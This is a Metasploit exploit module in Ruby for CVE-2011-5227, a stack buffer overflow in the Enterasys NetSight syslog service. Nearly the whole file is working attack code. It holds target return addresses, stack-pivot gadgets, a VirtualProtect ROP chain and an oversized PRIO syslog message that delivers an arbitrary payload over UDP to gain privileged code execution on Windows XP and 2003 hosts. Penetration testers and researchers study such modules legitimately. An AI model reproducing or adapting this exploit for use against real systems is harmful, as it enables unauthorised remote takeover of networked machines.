Enterasys NetSight nssyslogd.exe Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Enterasys NetSight nssyslogd.exe Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in Enterasys NetSight. The  
vulnerability exists in the Syslog service (nssylogd.exe) when parsing a specially  
crafted PRIO from a syslog message. The module has been tested successfully on  
Enterasys NetSight 4.0.1.34 over Windows XP SP3 and Windows 2003 SP2.  
},  
'Author' =>  
[  
'Jeremy Brown', # Vulnerability discovery  
'rgod <rgod[at]autistici.org>', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2011-5227'],  
['OSVDB', '77971'],  
['BID', '51124'],  
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-350/'],  
['URL', 'https://cp-enterasys.kb.net/article.aspx?article=14206&p=1']  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
'Space' => 3000,  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Enterasys NetSight 4.0.1.34 / Windows XP SP3',  
{  
'Offset' => 43,  
'Ret' => 0x77c4e444 # ADD ESP,30 # POP EDX # RETN # from msvcrt  
}  
],  
['Enterasys NetSight 4.0.1.34 / Windows 2003 SP2',  
{  
'Offset' => 43,  
'Ret' => 0x77bdf444 # ADD ESP,30 # POP EDX # RETN # from msvcrt  
}  
]  
],  
'Privileged' => true,  
'DisclosureDate' => 'Dec 19 2011',  
'DefaultTarget' => 1  
))  
  
register_options([ Opt::RPORT(514) ], self.class)  
end  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V")[0].to_i  
end  
  
def nop  
return make_nops(4).unpack("V")[0].to_i  
end  
  
def get_stackpivot  
stack_pivot = ''  
case target.name  
when /Windows XP SP3/  
stack_pivot << [0x77c4e448].pack("V") #ret  
stack_pivot << [0x77c4e448].pack("V") #ret  
stack_pivot << [0x77c4e448].pack("V") #ret  
stack_pivot << [0x77c4e448].pack("V") #ret  
stack_pivot << [0x77c4e444].pack("V") # ADD ESP,30 # POP EDX # RETN  
when /Windows 2003 SP2/  
stack_pivot << [0x77bdf448].pack("V") #ret  
stack_pivot << [0x77bdf448].pack("V") #ret  
stack_pivot << [0x77bdf448].pack("V") #ret  
stack_pivot << [0x77bdf448].pack("V") #ret  
stack_pivot << [0x77bdf444].pack("V") # ADD ESP,30 # POP EDX # RETN  
end  
return stack_pivot  
end  
  
def get_payload  
my_payload = ''  
  
case target.name  
when /Windows XP SP3/  
jmp_esp = [0x77c35459].pack("V")  
my_payload << jmp_esp  
when /Windows 2003 SP2/  
rop_gadgets =  
[  
0x77bb2563, # POP EAX # RETN  
0x77ba1114, # <- *&VirtualProtect()  
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN  
junk,  
0x77bb0c86, # XCHG EAX,ESI # RETN  
0x77bc9801, # POP EBP # RETN  
0x77be2265, # ptr to 'push esp # ret'  
0x77bb2563, # POP EAX # RETN  
#0x03C0990F,  
0x03c09f0f,  
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0xb00 -> ebx)  
0x77bb48d3, # POP EBX, RET  
0x77bf21e0, # .data  
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN  
0x77bbfc02, # POP ECX # RETN  
0x77bef001, # W pointer (lpOldProtect) (-> ecx)  
0x77bd8c04, # POP EDI # RETN  
0x77bd8c05, # ROP NOP (-> edi)  
0x77bb2563, # POP EAX # RETN  
0x03c0984f,  
0x77bdd441, # SUB EAX, 03c0940f  
0x77bb8285, # XCHG EAX,EDX # RETN  
0x77bb2563, # POP EAX # RETN  
nop,  
0x77be6591, # PUSHAD # ADD AL,0EF # RETN  
].pack("V*")  
my_payload << rop_gadgets  
end  
  
my_payload << payload.encoded  
return my_payload  
end  
  
def exploit  
connect_udp  
  
prio = "<"  
prio << rand_text_alpha(19)  
prio << get_stackpivot  
prio << rand_text_alpha(4)  
prio << [target.ret].pack("V")  
prio << ">"  
  
message = prio  
message << rand_text_alpha(9 + (15 - Rex::Socket.source_address(datastore['RHOST']).length)) # Allow to handle the variable offset due to the source ip length  
message << get_payload  
  
print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")  
udp_sock.put(message)  
  
disconnect_udp  
end  
  
end  
`